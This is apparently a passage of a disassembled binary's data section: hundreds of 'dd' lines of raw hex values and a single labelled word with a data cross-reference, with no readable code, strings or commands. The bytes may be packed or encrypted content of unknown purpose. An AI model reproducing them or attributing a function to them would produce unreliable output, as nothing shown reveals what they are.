0EA55DF00h, 4B762880h, 0F4148078h, 0F30B3242h dd 693F0BCh, 9D0E44Bh, 0D60DB27Bh, 2937BC80h, 0EF006120h dd 194D3070h, 3A7905h, 67B43932h, 17235F1h, 884CD913h dd 38A8B4h, 976AB002h, 129622E6h, 3E8B7800h, 666183F4h dd 0CDE7037Fh, 9FECF214h, 887691D9h, 9E5629A8h, 74AF515Ah dd 0DD715301h, 63322B8Ah, 19CC5E8h, 5FF806F6h, 7BAAD9A3h dd 81FA400h, 0CC667Fh, 56C2B7E8h, 4C5BBA04h, 4F29EE1Eh dd 207E80BFh, 0A43F9DF3h, 0AC45011Eh, 37CB1335h, 0B1807FEAh dd 0FFF8917h, 30F449E2h, 1FDFAC22h, 79C03C7Ch, 1F93E6AFh dd 1EC39C2Fh, 32DC5712h, 4060360Ch, 0C80E87CDh, 4427A86Bh dd 2480539Ch, 6A3973h, 1DFE75B1h, 0D0903DB6h, 2EE0511Eh dd 0C83C1A26h, 5E020550h, 48B05D8Dh, 606C00CFh, 817264FEh dd 9200BFE1h, 6354D1F8h, 5E34EE76h, 2B08D043h, 2E2438FAh dd 0C6833CEFh, 90E61CC5h, 29A4AC8h, 0C9B3DEFEh, 8E0987Fh dd 7A7F6F4Eh, 86F8C400h, 0E7E0A277h, 0BA8418F2h, 0C7FBF05Fh dd 99703Eh, 43FAC60Fh, 28D9E72h, 68FFDA2Dh, 21556092h dd 0DBA0377Ch, 7594477Fh, 0B222D1A7h, 53A4DC30h, 99C48130h dd 9AD6797Bh, 0B0F31F9Ch, 632643B2h, 5FC327ADh, 5B531807h dd 9C4110E5h, 1841834Bh, 2440946Bh, 1DF65A46h, 52402Ah dd 1A117616h, 6A7C4241h, 8105BB3Ah, 63B5B446h, 1C40836Bh dd 1DAD1074h, 7C2FBEC8h, 0D6631F76h, 0D2007823h, 6847A3BDh dd 5009938h, 14E5735Dh, 504BA053h, 38554487h, 2EB1C480h dd 0D0273CB8h, 964ABEACh, 95EA9400h, 3AEF4C6Ch, 0A7002047h dd 70764660h, 450079CFh, 9EC981D5h, 0BBA150h, 0FC550B6Fh dd 5AB76619h, 0FA421A00h, 96724810h, 5F020383h, 9A6E568Bh dd 0A365DD90h, 3E01C3ECh, 1FBA41ABh, 24D80FBDh, 6151E3Ah dd 0DDC58010h, 0D3C73B47h, 0D3EB573h, 79688B14h, 199D001Bh dd 0A02E2628h, 50866C7h, 0DDBA4FCCh, 3E2C80A6h, 4500B971h dd 40377C28h, 3EB2F270h, 0C5A5B31Eh, 0B801C79h, 160A2D88h dd 742FFE9Fh, 31E7FCDh, 35B7A45Fh, 3BE19922h, 39D0F318h dd 0B23EAA1Ch, 1DA53C64h, 2318FDF2h, 0B8B09A10h, 0B7D900BCh dd 49E0C6EFh, 9D7E2EDFh, 0A4CC4B00h, 9E1C0A6Bh, 1E660F2Dh dd 11FB3AAh, 183A2F94h, 0B02AE19Bh, 9A193008h, 74357C6Dh dd 330A009Ch, 14381EA1h, 3914B6E9h, 4764E8D2h, 95A8AF04h dd 10515033h, 9744E1A3h, 0E91F0C72h, 4024C019h, 4842F612h dd 0F2080266h, 118B0721h, 10E66295h, 5C84C19Ah, 44B5D700h dd 0C7F9F805h, 45FA6h, 0CA83663Ch, 777146BDh, 7F21580Fh dd 27DEE0BFh, 1E5D8653h, 0C3C54210h, 0B3457C3Ch, 9EA3900h dd 0BD2A37BAh, 23560004h, 0D943E503h, 89C096C1h, 88BF71A9h dd 5329002Ch, 0A7C0A825h, 0A02C2E5h, 0C3BE3ED0h, 473C2733h dd 45D5F577h, 0C1290A80h, 9BD35346h, 86616B58h, 31100031h dd 0D9CEDA0Ah, 0D030C53Ch, 0B9FBA005h, 1F6B1F20h, 589E9941h dd 0E5281876h, 8CCB53FCh, 1F110C44h, 0DCA10A30h, 2CF80071h dd 0D7C6BEE8h, 384A41C3h, 0D440B540h, 47608D79h, 0B44B050Ch dd 4CF48144h, 5C31D2B0h, 0A92A4900h, 0AA5F4E68h, 4494A62Bh dd 0C935BE75h, 0CE8231DEh, 0BF0C87C7h, 0C1918F48h, 411AB5E1h dd 0C21A8C8h, 87F4746h, 2A402995h, 8440B6C4h, 7C9C9512h dd 9659D00Ch, 9819B4h, 0CEAFE1C1h, 0B0153AE5h, 63271D00h dd 0FC35855Eh, 18F7794h, 0EA29A88Ah, 8043212Ch, 7C4C5F99h dd 0C46C6B2h, 16BEC563h, 21C05808h, 0E7C4401h, 0B98D00A6h dd 0C2E813D5h, 3247AD8h, 60912872h, 3072143Ah, 5E113BB2h dd 490080AEh, 0D6624DB6h, 0E86385BDh, 0FF21C264h, 80758076h dd 4B3C254Ch, 773E4451h, 0C2E8D345h, 9CB451DDh, 0F35F7FD4h dd 67AF75F0h, 0B5598060h, 0A3AC4F47h, 0C9483CE0h, 34635BD5h dd 0B28A5520h, 0E1284365h, 0A882D2B3h, 0C46E803Ch, 0CBB6440h dd 0FCFBD928h, 3A663E0Ah, 2940DCA1h, 0EA3747E9h, 200C92DDh dd 0A003F06h, 28AC81F0h, 3B8F7780h, 0CF9DCD83h, 90184398h dd 0A38A8A13h, 187A6041h, 231BE424h, 0C4392B53h, 0A2C0415h dd 8055530Dh, 5456655Fh, 80DB1133h, 34995077h, 11C642BAh dd 0E703D3C2h, 0F26375B3h, 0C815E82Bh, 4880AF00h, 866395B6h dd 77C07045h, 0D7090180h, 0C25C3643h, 9C8AD6DCh, 83401154h dd 0D228951Dh, 871E1CB2h, 4809515h, 540DB768h, 0C0CF6299h dd 18662E7Dh, 25397B46h, 33531808h, 14400EC4h, 0BEB00A2Dh dd 251F3D00h, 0F53B4A51h, 0E5D203D4h, 7391EB63h, 0DD40B104h dd 813ECFh, 0CDE0DA30h, 10626353h, 310802D5h, 16F34B9h dd 0D64FC6A9h, 1D0820DDh, 440F7907h, 4BF07B2Fh, 66A6D838h dd 0CAEEA9D9h, 41DA0200h, 96A82675h, 7DCC756Dh, 42183333h dd 0B9000531h, 9B78ABF1h, 30C8D3h, 3D5FC382h, 68692409h dd 0A8FAC05h, 9F0419A7h, 78CE63C5h, 0D0C00F88h, 0E30B3Bh dd 33E82835h, 0E01F8CF3h, 5E7FDA15h, 0F9BE0084h, 201D9722h dd 3A24924Dh, 1512D4BDh, 13A40076h, 0E5572CFDh, 0FF5DAF01h dd 2BEA2851h, 4D021836h, 4EC6AD7Ch, 175331h, 4CDE7C45h dd 2C415F24h, 69343D82h, 600042FFh, 4494B820h, 3A63C20Fh dd 6DB3E9h, 6A2DB931h, 8793E2DBh, 15EA9D79h, 8E8FC400h dd 39E4EE1Ch, 3EB899A9h, 52AF9680h, 37C1C3A7h, 0EC304D00h dd 0BE1F1A49h, 3F99CFC4h, 1EA92D00h, 21320DD9h, 80901948h dd 0BD32CBD9h, 0C69600C3h, 17B325CEh, 0A939EF4Bh, 43A3024Ch dd 896B47D5h, 9C148AA4h, 0B008FE12h, 80B3C011h, 7546B64Ch dd 0FC006422h, 6BA7807Bh, 0C2B8D51h, 0DBA91314h, 0A407CCA1h dd 65D970A8h, 0EEDD5420h, 58117879h, 0C8C828B3h, 0CBE0C84Dh dd 44A0A4D8h, 8F00E135h, 89C880FAh, 128BB970h, 0A1A17B2h dd 238A668h, 0A92ECC21h, 35499940h, 40EC7492h, 0D792465h dd 0B1258442h, 0E44C43CFh, 16902763h, 0F0B10353h, 0A2F2AC0h dd 7E80C51h, 61B94420h, 4DDE0E03h, 0D8BA0245h, 582F1C39h dd 8C744CC7h, 0CC7C4924h, 34626E12h, 41042056h, 0B2FFC7Ch dd 1334D612h, 0D940E4Ah dd 0D486FA29h, 4E07A9DCh, 8309F905h, 0AE081650h, 3CAB147Ah dd 0E23E09Bh, 4B80B001h, 6F187DB6h, 3D78FD88h, 88862080h dd 193AB323h, 34C84300h, 17D1C390h, 0B2EE077Dh, 0D14B1AD7h dd 336CEBCDh, 9567243Ch, 3CA6A81Fh, 1FE4202h, 0EE244515h dd 5C4280D1h, 7EDC46BEh, 5BD13ED9h, 58619899h, 2DA84289h dd 0B37CA833h, 221E46C6h, 1AFE0555h, 0F91847Ch, 5CA043F9h dd 4A4579D2h, 0E50CB616h, 0A14C8040h, 0F1A6AB7Dh, 0D00EC7Dh dd 47EE71F0h, 6F0929DCh, 4417BBC3h, 56B40034h, 66D28224h dd 0CF4D5D01h, 331232Ch, 0C6AF7C4Fh, 2F838BDh, 957C470Eh dd 926007CCh, 404CF09Ch, 84144A6Ah, 0BCE8150Eh, 5B5C8C64h dd 617B01B7h, 574FD2F6h, 0D065C32h, 0F9EF7D3Ch, 372C5550h dd 9F684748h, 2C745214h, 467494F0h, 37B602B7h, 0E2BDE2E6h dd 9E907694h, 4746C6DAh, 1BEC10EBh, 4C211F18h, 1F7A8A79h dd 0C099FF9Ah, 0CCC14E46h, 4A00F741h, 4C7B2EF6h, 0CB124FBh dd 0CAC2D918h, 0C800A771h, 42401DE4h, 0DFC395F6h, 6BC14019h dd 0BFAC58F7h, 0CB404C14h, 24E124C0h, 48803011h, 66C6AE7Ch dd 55B448Ch, 6E7C4000h, 3F8070D7h, 0E29702E5h, 0C2574917h dd 0EE181C58h, 0C5315220h, 0B24F0045h, 7AB5609Ch, 7C00CCF3h dd 11A525D8h, 0A6236A6h, 0B30E5AE0h, 47440CCh, 0BB04ED46h dd 3A554F39h, 0BEA71E41h, 0D085F1CCh, 0DE1F0D94h, 3C0243A6h dd 42F5EBC5h, 79545168h, 75C81801h, 1E122CA0h, 0A31700A4h dd 940E20DEh, 48EB5A7Ah, 7B8D6CCh, 85EC1D00h, 7FDFCFCEh dd 8FF900BFh, 27F84833h, 0A8AC2EEAh, 0B07C4204h, 0C0A216C6h dd 7C19FFC0h, 0DD008704h, 0C89EC6DFh, 303537BBh, 48F972BCh dd 0AB01099Fh, 18AA5870h, 5BF8BAD7h, 2B4E8DDh, 733C2A03h dd 0FCE13BDCh, 127C30F6h, 80AC048Ch, 0A29DB647h, 7401C10Ch dd 68929980h, 5590304Ch, 0F040310Ch, 7DA714CAh, 0F858F0B4h dd 0EA19E130h, 0C14EBED9h, 9880285Dh, 1C51CA70h, 0BA480C1Eh dd 6E5162F6h, 0E045D8B0h, 3174D402h, 531DC82Ah, 17801B43h dd 73440A32h, 0C8FABE07h, 90CCF64Fh, 168B02Eh, 2402B44Ah dd 21AB495Dh, 0BD804C90h, 80E5190Eh, 68BE2121h, 0C8721852h dd 0D1B54A00h, 0E3FD9FC9h, 0BE1D50C2h, 10B852C3h, 685B3E2h dd 0EAB93455h, 38CF60F8h, 6C534F0Ah, 0BE95E1C6h, 0DDA80071h dd 0BB85DEB6h, 43009D48h, 0FFA5FBD1h, 512F33CDh, 5C63FDBEh dd 40462012h, 8352ED08h, 8A00A276h, 0FB4EFAC8h, 5C19A81Eh dd 0F2505842h, 0A8C763FDh, 5FF1DB8Eh, 2C09D9C2h, 453F1390h dd 95185060h, 8C407F23h, 68AB544h, 234C9510h, 0A0008150h dd 25F5481Bh, 1EC58151h, 0AE6FDB4Eh, 54BB07FCh, 740A192Ah dd 266D1150h, 0AF0442CFh, 0D3C082A9h, 0F2BB19Ch, 5D193ABCh dd 3CA4082h, 78A90440h, 0F22D3409h, 23B40027h, 0FA1E5F93h dd 70449B28h, 0AB005094h, 0D2F00A89h, 251FD6CFh, 744AB4D9h dd 4AE51840h, 57C89305h, 0F044E192h, 0BCC73848h, 0BCB482BBh dd 46F86AC1h, 7076005Ch, 0AA85DBBEh, 0F10040FCh, 5979DDDh dd 937FC4h, 617D3A8Ah, 0BBB9A7CDh, 0C88B58D2h, 5FC069C8h dd 7D628679h, 0BEC80E50h, 728254EDh, 2CE06463h, 0E891157Fh dd 8C187279h, 9D6CB617h, 85BE984Bh, 8C41E5B4h, 77514CB9h dd 1E3F543Ch, 95937484h, 19D840B4h, 5B0230h, 0B59EDB2Eh dd 726F8BCAh, 818D543Dh, 65626807h, 0B8420FA8h, 0CABE21C1h dd 2CC43DD4h, 3D83441Eh, 2C07013Ch, 0AE3CC888h, 5B465E08h dd 7F4A9600h, 5CB0B44Fh, 0F94B906h, 2F937B3h, 0DD2803F0h dd 0E9C01C86h, 910E95ABh, 60F477E4h, 1FE5435Bh, 0DCB913DDh dd 7D24805Ch, 4B8154FFh, 2ED65829h, 35423B0h, 777B8F6Fh dd 0A8518EC2h, 0D9180779h, 0E83BA028h, 3E37F60Ch, 4C4C614Ah dd 0B581CC6Bh, 4D8AD34h, 531F4482h, 1E8430E8h, 209E961Ah dd 5F468180h, 0B8920E0h, 285D4B5Ah, 52C41445h, 5FD8F863h dd 6F527F8Ah, 6D2310A0h, 0D0C0A450h, 9F16E471h, 4A184719h dd 0C25BB0ABh, 1E2CF004h, 56910C41h, 0C5692088h, 610764A8h dd 6023ACF5h, 422B6600h, 14D4F316h, 0C6788100h, 0F008F921h dd 8AB402CFh, 203C4DD1h, 0D8007C64h, 0C0D662A7h, 0EC0F3993h dd 0A4900A8h, 0A23F4A30h, 2E04CBF0h, 41564CA9h, 25C46056h dd 0AB09755Dh, 8462D6C6h, 16601BC4h, 40212595h, 0E88C00Ah dd 3D654595h, 0A9825A18h, 89105ED0h, 7CE28B91h, 346A88C0h dd 9FC8C84h, 2118B430h, 440F04C0h, 4CA81F16h, 0D8382031h dd 492D18BAh, 4420C42Dh, 28081A34h, 0D9140858h, 81E8BFC0h dd 0BB8DA746h, 44443701h, 0C840DB18h, 2483CEF0h, 0EDD8C6E8h dd 0BC9C9B3Ch, 570465Eh, 0A8FF5B35h, 0F539CE4h, 78DB0115h dd 0DC262900h, 1F01A080h, 179DDA3Bh, 4C64397Ah, 5EE0BC56h dd 9000EC46h, 6FC7DF75h, 0AB010DFFh, 5BEB08AAh, 3858F2h dd 933CAF1Dh, 0BB88C0B5h, 5F4CC80Ch, 673F0230h, 0C07FDA35h dd 0A0C2604Ch, 7BA4CEA0h, 41909140h, 3D1A4D96h, 182E254Ch dd 0EFAEE978h, 0CB36C980h, 0C444B4C9h, 0AAC369C0h, 0F9C5D2h dd 147DD1D0h, 0B55E7F24h, 0E228E709h, 0D57D8038h, 0B41B86h dd 0BA9F2F8h, 7E24EA32h, 5C8D420Eh, 0A0948095h, 1E8EA736h dd 99F820BDh, 31F21065h, 0F5B4345Ch, 993D7504h, 5B8022D1h dd 3C0EFA0Bh, 908FB267h, 80E1ADE1h, 21B87E93h, 0F8E8D398h dd 0BE00D299h, 0C481551Dh, 485A503Ch, 952834C5h, 47EA13A0h dd 3E6006AEh, 1E2C18B8h, 0CE08E8A9h, 0E3703C4h, 42E0343Ch dd 31E7F7C5h, 80383C48h, 0A249DBE9h, 0B9820031h, 1C55EFFEh dd 1A029EFCh, 0F8DF5C65h, 443C679Dh, 0DDC3600Fh, 4D1400ABh dd 0CFFB4A5h, 12071ED8h, 776A6EF5h, 0F925360h, 1D089063h dd 0F217C2CAh, 0D0C14AA0h, 0FA428CDh, 0B21D9AC9h, 0CCA2AC24h dd 753056F2h, 535B069Ch, 60808355h, 27D06D20h, 0A0177F25h dd 960046BBh, 0CCFFB6C7h, 0C1195B8h, 420F38B3h, 0EC4008ADh dd 39A4AE32h, 3A345848h, 0CA810EABh, 0A8C0D23Ch, 0D789A19h dd 0F7A56C54h, 0C1D5F090h, 2452082Fh, 17601A40h, 40232695h dd 9B41102h, 0C1950F89h, 6C0C51E8h, 9EDF0520h, 0CF6A4010h dd 7602D60Eh, 1DDAC6ECh, 7F2040FDh, 0DB440CEh, 0C495342Ah dd 36801E04h, 0C4A81D6Ch, 0D897EA2Dh, 5E800291h, 0A57929A4h dd 23BBD92Dh, 0BDD540F0h, 0CB6B6CF0h, 94FA6340h, 25BFD91Dh dd 2BCD29B1h, 381A00FAh, 548A5743h, 0A2BA400Ch, 8100530Ah dd 0A1DD2D82h, 2B9FA2Bh, 0DE7D549h, 0C0EAC954h, 71E44CE5h dd 42D16C60h, 6356BCA1h, 31ECA268h, 52E02083h, 922F9002h dd 0E18766E5h, 0EE1740D8h, 0F11131A1h, 9CC2E65Fh, 7B00C0E4h dd 0CE990D65h, 0BB6E84h, 67AA58E1h, 0A1F75C9Dh, 0A201AEF0h dd 464FCAEEh, 0F2150F83h, 3072B250h, 541255DDh, 0CB6F825h dd 9E9A007Bh, 4E148E48h, 472CE032h, 0F96030F8h, 0E2D9F12Fh dd 9A300060h, 0A386D222h, 0B30817EDh, 84094573h, 87C9D162h dd 2C45E9D8h, 756358E4h, 2BA53780h, 5AF77B00h, 0A24F84CDh dd 0D48195E6h, 3EFEC506h, 48A2AC12h, 60B022DEh, 0E425722h dd 5DAB4820h, 0C1C0BC14h, 9AA1E65Fh, 0F889B900h, 755BF988h dd 8324001Ch, 0ACFFE7D8h, 0B49E2154h, 1C07465Eh, 34440E79h dd 0B894FE9Dh, 188BC8Eh, 0D46320C0h, 57C60AAAh, 984DE9Eh dd 2041C07Ch, 0FE261878h dd 0FB532619h, 2E2B70E4h, 0A60B0A03h, 0E8BE919Ch, 448F0F7h dd 0C53D466Bh, 484AC93h, 6DC389F3h, 6FF07CA1h, 0B61C8056h dd 81054427h, 42C4280Ch, 23FC2F2Bh, 211FF3h, 65F429B7h dd 7C0BD562h, 9A574FD3h, 970C40F8h, 87D9805Dh, 80211513h dd 7123EC3Ah, 0C388863Dh, 0FC94BCAh, 6154B67Fh, 182C4BF0h dd 423F84B0h, 3873B2CDh, 8EA854E7h, 0FB3A71Fh, 0C1577817h dd 285F4C38h, 88F2B598h, 2136B318h, 0F903B5D5h, 9C684941h dd 5685EADEh, 6F467674h, 6E08E102h, 10D0EB95h, 206210BEh dd 0CA832047h, 300659BAh, 17B2AA40h, 0A7A91020h, 233F00DAh dd 0CF3AA086h, 0BBDE3F0Ah, 0EED64B80h, 13640C5Eh, 42214C01h dd 0B1253383h, 285C002Ch, 0FE8CF1BCh, 0FB2C1791h, 53F06104h dd 94C8E2BAh, 0BB308ECEh, 9FBCE96Bh, 0BC3D4C71h, 0BE790075h dd 0E6F05A70h, 9E0AFDD4h, 0A34FB5D7h, 0E530CF1Ah, 606FE4ACh dd 0BB121BBh, 0B4F1EB50h, 0A073C8C3h, 2F2AB541h, 40623F4h dd 0A89659FDh, 5EAB807Ch, 9C0E226Bh, 395D40E8h, 0E0002DA0h dd 61432016h, 0FC64901Ah, 5B372445h, 6E2DE7Ch, 0E922D00Ch dd 243E1911h, 80084B20h, 9C25ED4Dh, 4A006B68h, 0FA46590Dh dd 974F7540h, 435D3880h, 544A4CE5h, 206C80C8h, 0C60BF711h dd 47C20A4Fh, 606A6408h, 17BA88h, 2161D1FCh, 421F27E6h dd 62EFC510h, 10F25316h, 0A81EC46Bh, 64503E23h, 0D22BEBBEh dd 74C4B368h, 0DECD3901h, 347F71FEh, 0BB7160h, 7535D04h dd 0C0806D58h, 0BA5F4302h, 79522744h, 1859D980h, 0A8561CFFh dd 8D9280B8h, 0EB1E4347h, 7544B509h, 27DC500Ch, 0F41D3D45h dd 5C800C91h, 1827B3D3h, 0D81E6702h, 0A2686B7Ah, 5220A4CCh dd 161A7CA0h, 0C7A89Ah, 40B60D80h, 849DBB13h, 9540E070h dd 60C25D57h, 7A85550h, 44B340C2h, 18685C7Dh, 0D5CE5085h dd 68C05CFCh, 0D057484Ah, 0C094A263h, 8298F140h, 5820CC50h dd 481A06CCh, 48D50137h, 3A96C000h, 0BE573EA8h, 0D280DFEBh dd 0C634A446h, 0C361A773h, 11543518h, 9FCA3983h, 600C9AB8h dd 31414237h, 0B9EF0F36h, 0F909890Ch, 5AD1B059h, 173D8118h dd 0B0C101D7h, 141B1C28h, 4BED7461h, 0FC5C2002h, 0D2707280h dd 368D24h, 0F14DA368h, 78F9A41Bh, 945B0400h, 0FC49424Ch dd 453718E9h, 5F6E390Dh, 0D8BDAE32h, 791079E2h, 18B18F3h dd 0C0D7497Bh, 32B31D40h, 0ED5D0080h, 0BACEB62Dh, 0DBF8015Ah dd 0D149F712h, 1889EC64h, 0FB048F03h, 4F5B91h, 47E9EBD1h dd 3EA335C9h, 106C919Dh, 4D80D819h, 96ADB62Dh, 7AFB03B0h dd 0B895A480h, 0DF82A901h, 1DE1D6Fh, 72D5EE8h, 0EC5003B1h dd 0D1047923h, 0B80CA828h, 83B8C56h, 0FD7D804Fh, 4BF4A4Bh dd 0F25D09E8h, 0A3446Ch, 0C94CD177h, 0C0343E14h, 7BC52506h dd 30544CC2h, 0B46F3F17h, 8D5F400Eh, 0B490C217h, 0A53CB900h dd 1FE89017h, 96925C37h, 0A1504B65h, 0C11C09Dh, 0C1A5F280h dd 0E90B1798h, 44C2BE16h, 4F11080h, 0C3517C6Fh, 1884200Ch dd 90426440h, 743A1220h, 4F8090A7h, 21241CBEh, 0C805D45Ch dd 60D48755h, 0E0604885h, 0F30E4126h, 0C1764AF0h, 7F251A41h dd 0FA9AD705h, 37973050h, 0C0740728h, 0BD4A1429h, 0FC59B804h dd 914400D0h, 5BEE1BD9h, 6D410B8Ah, 40753820h, 2E4AE7BBh dd 0BAD0E420h, 1917464h, 39DF5D4Dh, 0F445DCCBh, 8104CF25h dd 48BD358Dh, 0B314BCB0h, 5E60AE88h, 0F707B446h, 9E5C3ACEh dd 0BEA84513h, 0C2D837C7h, 0A5016884h, 19BDEFC6h, 0FD0C0D82h dd 0C8A2F9DBh, 45093C6Eh, 6769E4E8h, 0E0528F23h, 1DEA6BBh dd 4351D6EFh, 64618B7Dh, 0C8241FA0h, 465EC829h, 2CE2E59h dd 2EEE6E00h db 0C4h, 80h word_505446 dw 4F47h ; DATA XREF: ___:off_435740o dd 0C1C09A5h, 1570A0D3h, 20121195h, 1A350051h, 7FE185A5h dd 0FCCD1C92h, 5B76402Ch, 18149496h, 77783212h, 7B2FFD05h dd 371648E3h, 45ECD84Ah, 0FC684445h, 0F0A0D82Dh, 246326BEh dd 2BF56113h, 0ED23CC3Ah, 638F7900h, 7F92EA1h, 40E4CABFh dd 986059CDh, 0E32091E9h, 10109D48h, 9907AC12h, 0B9E55E89h dd 1F5F97B2h, 43815211h, 6ABAD9E8h, 89D1B84Eh, 7980719Bh dd 1F0A1864h, 0C4B36A21h, 0F9A957B4h, 80ED3AF0h, 9CC440B0h dd 0C03697h, 0CC3D35Bh, 174249F6h, 0A6E5070Ch, 13F33166h dd 7C5FBCC1h, 5E45ED4Ch, 98B50EE0h, 184C9030h, 19F9DD69h dd 2184EA7Eh, 0F208FD29h, 0EFE942CAh, 8F78504h, 0B8C25FC1h dd 0C34000CAh, 0C48A0A2h, 0FB830B09h, 0CC585F89h, 0EB6740BCh dd 36967C2h, 6FC2DAC0h, 0C6AEF080h, 32CF377h, 9DCA015h dd 0CDB9468Bh, 71C21099h, 0E0688238h, 2396772h, 0E856B836h dd 4F0494ACh, 0E117E3DEh, 0C06E3F70h, 9427A802h, 9441A61Ch dd 0B42C2A44h, 0A82DF855h, 0BCB21EBCh, 8D588728h, 412280BEh dd 94003C68h, 217B6FE5h, 5F888EBh, 7FC6AFBDh, 8198975Eh dd 80379E07h, 85827380h, 55DA8Ah, 0D8304866h, 0A7594AC0h dd 0FC422F07h, 0AFC0E779h, 0AF6999Bh, 34EA5BB5h, 3703BECCh dd 69C61D81h, 438950C8h, 1130B300h, 519CA1BEh, 1A60017h dd 0BDE3443Eh, 0F413D21Fh, 0CF2AEFDh, 0D5594603h, 0CD89BF3h dd 0BE1824F0h, 0C929CE07h, 0C061EBB8h, 91103FC1h, 2080431Bh dd 5594A864h, 0D5AD00A2h, 0DB941A97h, 8B034A3Dh, 3A57C676h dd 23F80BE9h, 0B8A0D320h, 967DFC59h, 89C49300h, 0B2F52B7h dd 8C050B0Fh, 0A1837735h, 7AA055CCh, 3B014325h, 0D3F7EEC5h dd 89D84F4Eh, 0C44A003Ah, 0E7C77C8Bh, 0B001677h, 0DDBC3EF4h dd 703A8275h, 20E260AAh, 0CCCB94FCh, 3978ADF8h, 60DE4C7Bh dd 0E319B300h, 1D60726Dh, 0BE4022h, 0D787685Dh, 10072CEBh dd 7CF02E74h, 83230DC0h, 1FD60006h, 0F4AB5968h, 0CA00089Ch dd 0A3768E80h, 396FCB9Eh, 670306E7h, 0AF9D7F98h, 89826800h dd 973CDA8Ch, 3BF1002Ah, 7370BBC7h, 0DD0FD509h, 0C04C1686h dd 0B68EEB85h, 0F47F03B4h, 0D9DF8FF8h, 0BBD822B0h, 150048DEh dd 3EA958D2h, 0A8650E36h, 0B700138Ch, 7E48A57Fh, 18A6DF3Fh dd 0CC319ABEh, 78250614h, 0F993F818h, 0FA4CDD00h, 35E5B9D6h dd 0EC29C09Ch, 46A34969h, 6CA04350h, 1F4C8740h, 67EE24h dd 0FF2A1CAh, 0B207F947h, 0E07CA4EFh, 0E255BCB0h, 0C3F100C6h dd 0C4D5CE90h, 0F0622C3Eh, 30CAC810h, 5611C6BAh, 0B70626EEh dd 41E368D5h, 100C9E0Ah, 0FFC304E4h, 0EE11078Ah, 0F8F75311h dd 1FBB2C87h, 0C01D84F0h, 0D58D31A2h, 9E0FF508h, 1FC0CB20h dd 95F92A06h, 0B0372492h, 265930EEh, 9E00FA08h, 71A87380h dd 1E30E884h, 197930Bh, 8DFC3ACAh, 578980E2h, 4AB1EC90h dd 0A9C7189Fh, 85C419DFh, 29B49600h, 6114338Bh, 603074E3h dd 8DA7219Ah, 7B00EB96h, 0A0EEC104h, 449003B9h, 9365C991h dd 6E80A391h, 0C53D08h, 64387719h, 44B0492Eh, 1A7E9505h dd 8C2613BCh, 8618F188h, 29B9961Ah, 0C5442480h, 968EA440h dd 0D139A55Bh, 79EF0793h, 0ABE2DA0h, 1380A80Ah, 46111840h dd 0A6EE0287h, 0FFDCE2FCh, 32211080h, 94C58A05h, 0C4201B93h dd 70D7EAh, 0E25B530Bh, 21B0F863h, 7DFDF72Eh, 88E49814h dd 797C8009h, 1DFB1833h, 0A38C1700h, 0EA41B915h, 96E9284Eh dd 485D46F4h, 0AB843862h, 0F811F42Dh, 1FC2D100h, 0FD5E3A45h dd 0F746EC07h, 0A652DAB9h, 0CC80A08Fh, 79CA9Ah, 0D9AC365Dh dd 0B4E7CE14h, 957CA200h, 0BABCEF3Bh, 0B128D8B1h, 6C39054Fh dd 0B8290368h, 0E0580234h, 0E2539A59h, 84880A82h, 86CC7A92h dd 0B10819ABh, 80D8EC3Ah, 0FA228B6Bh, 1C5EF95h, 4EE58887h dd 0CAEC96E8h, 836FFC98h, 0A5D32700h, 23CA1D7Dh, 4FDC0090h dd 0A094D688h, 8E449199h, 67D9E926h, 0DCF9A4h, 86B55E5Bh dd 103342A0h, 30991h, 5E54D021h, 950D5829h, 96DA890Dh dd 2042B019h, 0F88331C1h, 0FB4629BAh, 8C6D887Fh, 0F04D963Eh dd 94A95918h, 4F40A219h, 0E81FF0FAh, 818E3300h, 21C9166Dh dd 0FCAE0Dh, 58552F43h, 33D87C03h, 7A066E75h, 0AAA9EC30h dd 73DA3C51h, 844A4201h, 0D4B2D380h, 8BE8533Eh, 672EBE00h dd 2D0B02A6h, 610F6E91h, 45D50491h, 0E7834B24h, 6328B038h dd 0FB640415h, 87A1548Ah, 0B8C0482Ch, 4684871Fh, 1FB22D5h dd 1C1FC1CCh, 0C01D0802h, 44991132h, 0B7805711h, 0BD84861Fh dd 2101608Ch, 21FBC17h, 0B78F5504h, 3982039Ch, 46E4449Fh dd 968902BBh, 312B29B8h, 92631093h, 97120A96h, 60C40BDEh dd 4E16D690h, 8DFDDB00h, 3AEE82FBh, 18B81EB9h, 8F2A0499h dd 8C208205h, 85E5930h, 435086BFh, 0E3F662h, 8E5E52CEh dd 35AEF400h, 0AFD9BD0Ah, 4178616Eh, 244D670Bh, 644C7E64h dd 7DDD8F50h, 0C59AB880h, 2DBE576h, 8CED9DAEh, 8084B5B7h dd 9C94C5Ah, 942E00E4h, 0D146ABF4h, 141573A5h, 235CF399h dd 5E850F90h, 623086E4h, 0FED227FDh, 39F96E20h, 0D301BE5Dh dd 90897D56h, 719DE5C9h, 0CCC206F4h, 3E0011A2h, 205B4CF2h dd 33DFF5E0h, 4B08D027h, 0BA00217Bh, 0D79B0F4Ch, 159A8B94h dd 84E69691h, 4A82811h, 76DA82AFh, 44180CC8h, 8903610Dh dd 0C183E925h, 0BE8023AEh, 5F4C843Bh, 5262C020h, 4CC6DC20h dd 889A1578h, 0A500840Eh, 0B0441B42h, 6C00284Eh, 6137D183h dd 909DC0B1h, 25E4654h, 84891FBAh, 50F43125h, 1FC3CAACh dd 6EC6E901h, 8FFC38ACh, 8400CC22h, 0FEF24428h, 0BE00D141h dd 50098883h, 585A1B94h, 0FEF8D011h, 74D7078Ch, 0D07080E0h dd 2229435h, 96541C6h, 0A3C500E9h, 4B7B4C4Fh, 32001D1Eh dd 0E75D2881h, 30F1AC16h, 0EDA9ADA6h, 1526B9E8h, 0E205B9A4h dd 0C419CBD0h, 63C067C0h, 8EF2003Ch, 9B4FF6CAh, 92EE888Ah dd 8CD17F26h, 9A467Ch, 0A754D6DEh, 2411CEC8h, 9744FE6Eh dd 0E1470076h, 2D4B4209h, 0A8D0DE03h, 0E268E711h, 0CD9D84F9h dd 9E9D8881h, 55299712h, 0B644C200h, 5D001C3Dh, 0AA36E922h dd 0FC0B7Ah, 0B1EF8F8Ch, 2EED5927h, 947F8100h, 939FD253h dd 42F719B3h, 42CD18E6h, 0B63052CCh, 8485111Fh, 87FA88C5h dd 511FBF16h, 87AB6BA5h, 87E5F5D6h, 0A1DB8423h, 8BFD27B9h dd 87DC826h, 4886F25Eh, 0D540F7C4h, 0BE1F5E5Dh, 0DA3D0F1Fh dd 555747C4h, 0E070FCCCh, 0BCCA00E5h, 65B396B4h, 8901D4B7h dd 4FD71D66h, 421F58Dh, 8B99858h, 0E820864Ch, 